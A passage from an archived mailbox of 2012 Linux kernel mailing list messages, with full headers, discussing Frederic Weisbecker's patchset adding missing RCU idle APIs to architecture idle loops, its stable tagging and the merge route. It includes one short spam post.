> > 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
> > 
> > This problem has been in place since 3.3, so it is hard to argue that
> > it is a regression for this merge window.  I have therefore queued it
> > for 3.7.
> 
> I don't follow that; I would expect any serious bug fix (serious enough
> for a stable update) to be acceptable for 3.6 at this point.
> 
> If the regression occurred in 3.3, then the cc lines should be something
> like:
> 
>     Cc: <stable@vger.kernel.org> # 3.3+
> 
> and not the current:
> 
>     Cc: 3.2.x.. <stable@vger.kernel.org>
> 
> (Note, version annotations should be on the right of the address, not in
> the 'real name' position on the left.)

Ah indeed.

Hmm, I don't understand why we took that convention while we can reuse the name
that precedes the email to put that information.

Anyway, should I resend the patchset with this thing fixed?

Thanks.

From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Mon, 10 Sep 2012 15:58:45 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20120910225845.GC4257@linux.vnet.ibm.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120910215541.GE21277@somewhere.redhat.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1347317942 20238 80.91.229.3 (10 Sep 2012 22:59:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Sep 2012 22:59:02 +0000 (UTC)
Cc: Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <mcree@
To: Frederic Weisbecker <fweisbec@gmail.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Sep 11 00:59:00 2012
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1TBCwV-000456-9y
	for glpm-linux-m68k@plane.gmane.org; Tue, 11 Sep 2012 00:58:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757462Ab2IJW6z (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 10 Sep 2012 18:58:55 -0400
Original-Received: from e39.co.us.ibm.com ([32.97.110.160]:59332 "EHLO
	e39.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753766Ab2IJW6z (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 10 Sep 2012 18:58:55 -0400
Original-Received: from /spool/local
	by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-m68k@lists.linux-m68k.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 10 Sep 2012 16:58:54 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 10 Sep 2012 16:58:52 -0600
Original-Received: from d03relay03.boulder.ibm.com (d03relay03.boulder.ibm.com [9.17.195.228])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 138F43E4003C
	for <linux-m68k@lists.linux-m68k.org>; Mon, 10 Sep 2012 16:58:51 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay03.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q8AMwp2q240290
	for <linux-m68k@lists.linux-m68k.org>; Mon, 10 Sep 2012 16:58:51 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q8AMwmpA012665
	for <linux-m68k@lists.linux-m68k.org>; Mon, 10 Sep 2012 16:58:51 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-77-137-229.mts.ibm.com [9.77.137.229])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q8AMwkeN012216;
	Mon, 10 Sep 2012 16:58:48 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 8BC5CEB7A8; Mon, 10 Sep 2012 15:58:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120910215541.GE21277@somewhere.redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12091022-4242-0000-0000-000002DB828A
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:4245 gmane.linux.kernel:1356272 gmane.linux.kernel.stable:30714 gmane.linux.ports.parisc:4575 gmane.linux.ports.alpha:1898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/4245>

On Mon, Sep 10, 2012 at 11:56:08PM +0200, Frederic Weisbecker wrote:
> On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
> > On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> > > On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> > > > Hi,
> > > > 
> > > > Changes since v1:
> > > > 
> > > > - Fixed preempt handling in alpha idle loop
> > > > - added ack from Geert
> > > > - fixed stable email address, sorry :-/
> > > > 
> > > > This time I built tested everywhere but: h8300 (compiler internal error),
> > > > and mn10300, parisc, score (cross compilers not available in
> > > > ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> > > > 
> > > > For testing, you can pull from:
> > > > 
> > > > git://github.com/fweisbec/linux-dynticks.git
> > > > 	rcu/idle-fix-v2 
> > > > 
> > > > Thanks.
> > > 
> > > I have queued these on -rcu branch rcu/idle:
> > > 
> > > 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
> > > 
> > > This problem has been in place since 3.3, so it is hard to argue that
> > > it is a regression for this merge window.  I have therefore queued it
> > > for 3.7.
> > 
> > I don't follow that; I would expect any serious bug fix (serious enough
> > for a stable update) to be acceptable for 3.6 at this point.
> > 
> > If the regression occurred in 3.3, then the cc lines should be something
> > like:
> > 
> >     Cc: <stable@vger.kernel.org> # 3.3+
> > 
> > and not the current:
> > 
> >     Cc: 3.2.x.. <stable@vger.kernel.org>
> > 
> > (Note, version annotations should be on the right of the address, not in
> > the 'real name' position on the left.)
> 
> Ah indeed.
> 
> Hmm, I don't understand why we took that convention while we can reuse the name
> that precedes the email to put that information.
> 
> Anyway, should I resend the patchset with this thing fixed?

Please feel free to do so.  ;-)

							Thanx, Paul


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Tue, 11 Sep 2012 14:35:44 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20120911123528.GG21277@somewhere.redhat.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120910215541.GE21277@somewhere.redhat.com>
 <20120910225845.GC4257@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1347366974 31914 80.91.229.3 (11 Sep 2012 12:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Sep 2012 12:36:14 +0000 (UTC)
Cc: Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <mcree@
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 11 14:36:10 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TBPhF-0005m9-Vc
	for glk-linux-kernel-3@plane.gmane.org; Tue, 11 Sep 2012 14:36:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754938Ab2IKMfz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 11 Sep 2012 08:35:55 -0400
Original-Received: from mail-vb0-f46.google.com ([209.85.212.46]:40791 "EHLO
	mail-vb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752627Ab2IKMfw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 11 Sep 2012 08:35:52 -0400
Original-Received: by vbbff1 with SMTP id ff1so505424vbb.19
        for <multiple recipients>; Tue, 11 Sep 2012 05:35:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=AMprI/Hcm7mGee5G8HDhAgGg8ExmhdWkhqS8mMkeJZQ=;
        b=z93G9eWSyKY0ptc27iVLZ4IeKV7GZWxUBJyPrY3dWwJC0vh5QqBJVyQVoMpmC41xrP
         OrjF0SoVFZc/NL7lMWl0M4LG2HPhVeRWRq5SIOzsqOYrfSyaCrSopF6fOZ41kmcE39Xg
         Vta1l5RYPNZyRTdBSSpA8Seb6BUX6GUwMEN+ygcsaYyrZk7yfJ8K1ZV8CrFGnFYBj1OA
         +sLUsYOpeuHaEGqoiIbIxRmgfcNU1FqSmuhKsq2+xODRgrsbDFc+hb7hJ9NbYkbEVQOh
         rsKbo+0wcinIPdLv4O6cW40v0uTTaHfwTJ/TmguqaHQBh+po3rQu9ieOAtZmRZNp5mmI
         KaIw==
Original-Received: by 10.52.16.180 with SMTP id h20mr20118134vdd.83.1347366951206;
        Tue, 11 Sep 2012 05:35:51 -0700 (PDT)
Original-Received: from localhost (37.20.196.77.rev.sfr.net. [77.196.20.37])
        by mx.google.com with ESMTPS id a10sm10812382vez.10.2012.09.11.05.35.46
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 11 Sep 2012 05:35:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120910225845.GC4257@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1356570 gmane.linux.kernel.stable:30721 gmane.linux.ports.parisc:4576 gmane.linux.ports.alpha:1899
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1356570>

On Mon, Sep 10, 2012 at 03:58:45PM -0700, Paul E. McKenney wrote:
> > Anyway, should I resend the patchset with this thing fixed?
> 
> Please feel free to do so.  ;-)
> 
> 							Thanx, Paul
> 

So here it is.

On the menu for the updated branch:

- fixed stable tags (use # 3.3+)
- not sure what to do with "alpha: Fix preemption handling in idle loop",
  tag as stable or not?
- added tested-by Michael Cree <mcree@orcon.net.nz> for alpha patches
- propagate rename to rcu_user_*_after_irq() in the commit changelog
- remove trailing #endif in "rcu: New rcu_user_enter_after_irq() and rcu_user_exit_after_irq() APIs"
  and early rcu_user_hooks_switch() header as well (reported by WU Fenguang).
- add rcu_user_hooks_switch() header in "rcu: Switch task's syscall hooks on context switch"

I believe this all should also fix what WU Fenguang reported:

	[rcu:rcu:next 54/82] include/linux/rcupdate.h:202:20: error: redefinition of 'rcu_user_exit'
	[rcu:rcu:next 54/82] include/linux/rcupdate.h:401:19: error: redefinition of 'rcu_read_lock_bh_held'
	[rcu:rcu:idle 2/27] include/linux/rcupdate.h:969:2: error: #endif without #if

I'm not reposting the patches because few things have actually changed, except a few neats and some stuff
that have been moved from a patch to another to unbreak bisection. But the end result is about the same.
You can check the difference with a git diff between our branches.

If you want to, though, I can repost the patches.

This is pullable from:

git://github.com/fweisbec/linux-dynticks.git
	rcu/idle-for-v3.7

Thanks.

From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mr.Pow Lee" <mrpowlee@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: We are importer and also Government licensed sourcing agent based in Asia
Date: Thu, 13 Sep 2012 14:47:02 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <134149.69033.bm__44914.2239675441$1347566045$gmane$org@smtp110.mail.ne1.yahoo.com>
Reply-To: <mrpowlee@w.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347566041 7608 80.91.229.3 (13 Sep 2012 19:54:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Sep 2012 19:54:01 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 13 21:54:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TCFU9-0007p3-Ij
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Sep 2012 21:54:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756474Ab2IMTx5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Sep 2012 15:53:57 -0400
Original-Received: from nm17.bullet.mail.ne1.yahoo.com ([98.138.90.80]:42231 "HELO
	nm17.bullet.mail.ne1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751551Ab2IMTxz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Sep 2012 15:53:55 -0400
Original-Received: from [98.138.90.52] by nm17.bullet.mail.ne1.yahoo.com with NNFMP; 13 Sep 2012 19:47:03 -0000
Original-Received: from [98.138.84.42] by tm5.bullet.mail.ne1.yahoo.com with NNFMP; 13 Sep 2012 19:47:03 -0000
Original-Received: from [127.0.0.1] by smtp110.mail.ne1.yahoo.com with NNFMP; 13 Sep 2012 19:47:03 -0000
X-Yahoo-Newman-Id: 134149.69033.bm@smtp110.mail.ne1.yahoo.com
X-Yahoo-Newman-Property: ymail-3
X-YMail-OSG: _jppsYMVM1moGTzvvh_OE5sR63pM4SFEf.V7ga3E3Ei2rCx
 LH7NlBOJmnHtFO9qTXPkxa_eJfBdMtENJ3k8U2YzyKP.8zMi9X2It.oFxlBm
 3EVpooTCuC4Ihl91wBcojdN9OTQ6nUPypB1ohkjSPBqMJmkbqhi5FYpXkyAw
 oTpG3VtoJFubvtjLVlt20GVWUM4gGO38_AX7UWTHTi9z3dyBt_aHQo0YYvZ4
 YZEpg33yU60ieMD2HCtkVS2f0rezTd6k6KdcOJnAVaujx5FphHasLOZ6VFVi
 pEVqAk0_SMGAWsl.GcZRArzSPOUbCyxZk2b5EoJ5ZEN_ZysDwAeLTH9iNU8q
 g5cXDHRtEfvS7mnkskcRH6SCaLedjdzcS7z6p.hNQhTMa24ZiBlagchuUbl6
 PTG2obp3_U4But0QydVegE2UX0gCq1xrQeGNBbaRVgqORRXXmSyxGz6OT.jq
 ZWT2KYuftdf4FXj_vc2fuPNVL
X-Yahoo-SMTP: J5NEdR2swBBk8vUc59fZqOcxEQKmVdG42Am_92t6
Original-Received: from User (mrpowlee@216.65.206.206 with login)
        by smtp110.mail.ne1.yahoo.com with SMTP; 13 Sep 2012 12:47:02 -0700 PDT
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4580>

OPEN ATTACH FILE FOR MORE DETAILS
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Mon, 17 Sep 2012 22:31:24 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <CAMuHMdURT2vdF8uGZbMO09iGbLeSaVzwNthKEA1WwOtH6dQN_A@mail.gmail.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
	<CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
	<20120823110157.GC18835@somewhere.redhat.com>
	<CAMuHMdX5R_7EBGDu00zdy_P3q65BzKJbNeRwFcuwij8eHavTYQ@mail.gmail.com>
	<20120823215052.GC19305@somewhere.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1347913900 638 80.91.229.3 (17 Sep 2012 20:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Sep 2012 20:31:40 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: Frederic Weisbecker <fweisbec@gmail.com>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Sep 17 22:31:40 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1TDhye-0007qz-18
	for lnx-linux-alpha@plane.gmane.org; Mon, 17 Sep 2012 22:31:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754154Ab2IQUb1 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 17 Sep 2012 16:31:27 -0400
Original-Received: from mail-vc0-f174.google.com ([209.85.220.174]:61269 "EHLO
	mail-vc0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753604Ab2IQUbZ (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Mon, 17 Sep 2012 16:31:25 -0400
Original-Received: by vcbfo13 with SMTP id fo13so6809728vcb.19
        for <multiple recipients>; Mon, 17 Sep 2012 13:31:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=frUbsh+XSX6APz6KPfZdyOQXEpKUPethXuG1YVSjJbY=;
        b=tqQ+2VmZ+4EFJk2sbYHwClOeROszd6uAYsVXEyFSImhniRSmmrL+49SNhsNH1/l6pc
         rxaENGGadMinuhPfXdQlYOdFMg8Mro9tTsK0Br3I8V1e/GojXWcQOA3KPjRE+NrI70HN
         SupTKm+UuNW9Qyz7mvkndFRhknBg9UKnFk3LPDOyuAAn7cVrif7F9+pQ/XKVri0l5ZNT
         oeQY1szJBNTiZD/s/irsBI7pP6j9qXGETzQsBcZ2moyfQV2LS7z0w4um9QABBscuihAt
         VYIcVpQuM9MTQidpAeQITV9w4EN7oSvhRznXB5nf07kfMCHJSHRkeg+gGT9VSWM/vQG4
         /vXQ==
Original-Received: by 10.52.68.226 with SMTP id z2mr4011997vdt.76.1347913884735; Mon,
 17 Sep 2012 13:31:24 -0700 (PDT)
Original-Received: by 10.220.50.135 with HTTP; Mon, 17 Sep 2012 13:31:24 -0700 (PDT)
In-Reply-To: <20120823215052.GC19305@somewhere.redhat.com>
X-Google-Sender-Auth: OSKivg3_AbufzNrHAOvixbsaw-w
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1915 gmane.linux.kernel:1360209 gmane.linux.kernel.stable:31215 gmane.linux.ports.parisc:4582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1915>

Hi Frederic, Paul,

On Thu, Aug 23, 2012 at 11:50 PM, Frederic Weisbecker
<fweisbec@gmail.com> wrote:
> On Thu, Aug 23, 2012 at 10:23:22PM +0200, Geert Uytterhoeven wrote:
>> On Thu, Aug 23, 2012 at 1:02 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
>> > On Wed, Aug 22, 2012 at 07:18:04PM +0200, Geert Uytterhoeven wrote:
>> >> On Wed, Aug 22, 2012 at 6:23 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
>> >> > So this fixes some potential RCU stalls in a bunch of architectures.
>> >> > When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
>> >> > to handle the architectures that don't support CONFIG_NO_HZ.
>> >> >
>> >> > I guess the set should be dispatched into arch maintainer trees.
>> >>
>> >> I can take the m68k version, but are you sure you want it this way?
>> >> Each of them must be in mainline before they can enter stable.
>> >
>> > Yeah, I was thinking the right route is for these patches to be
>> > carried by arch maintainer who then push to Linus and then this goes
>> > to stable.
>> >
>> > Is that ok for you?
>> >
>> > Otherwise I can carry the patches myself. In a tree of my own, or
>> > Paul's or mmotm. As long as I have your ack.
>>
>> I applied your patch to the m68k for-3.6/for-linus branch.
>> I'll ask Linus to pull later in the rc cycle (right now I don't have
>> anything else
>> queued for 3.6).
>> Still, I think it's better to just collect acks and send it to Linus
>> in one shot,
>> so it can go into stable in one shot too.
>
> Sure I can do that if you prefer.

What's the conclusion on this one? I saw it entered tip.

I still have it (as the only commit) on my for-3.6 branch, but I don't
think m68k
is important enough to be the only architecture to have this fix in 3.6 ;-)

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Mon, 17 Sep 2012 13:55:19 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20120917205519.GB2467@linux.vnet.ibm.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
 <CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
 <20120823110157.GC18835@somewhere.redhat.com>
 <CAMuHMdX5R_7EBGDu00zdy_P3q65BzKJbNeRwFcuwij8eHavTYQ@mail.gmail.com>
 <20120823215052.GC19305@somewhere.redhat.com>
 <CAMuHMdURT2vdF8uGZbMO09iGbLeSaVzwNthKEA1WwOtH6dQN_A@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1347915397 16695 80.91.229.3 (17 Sep 2012 20:56:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Sep 2012 20:56:37 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
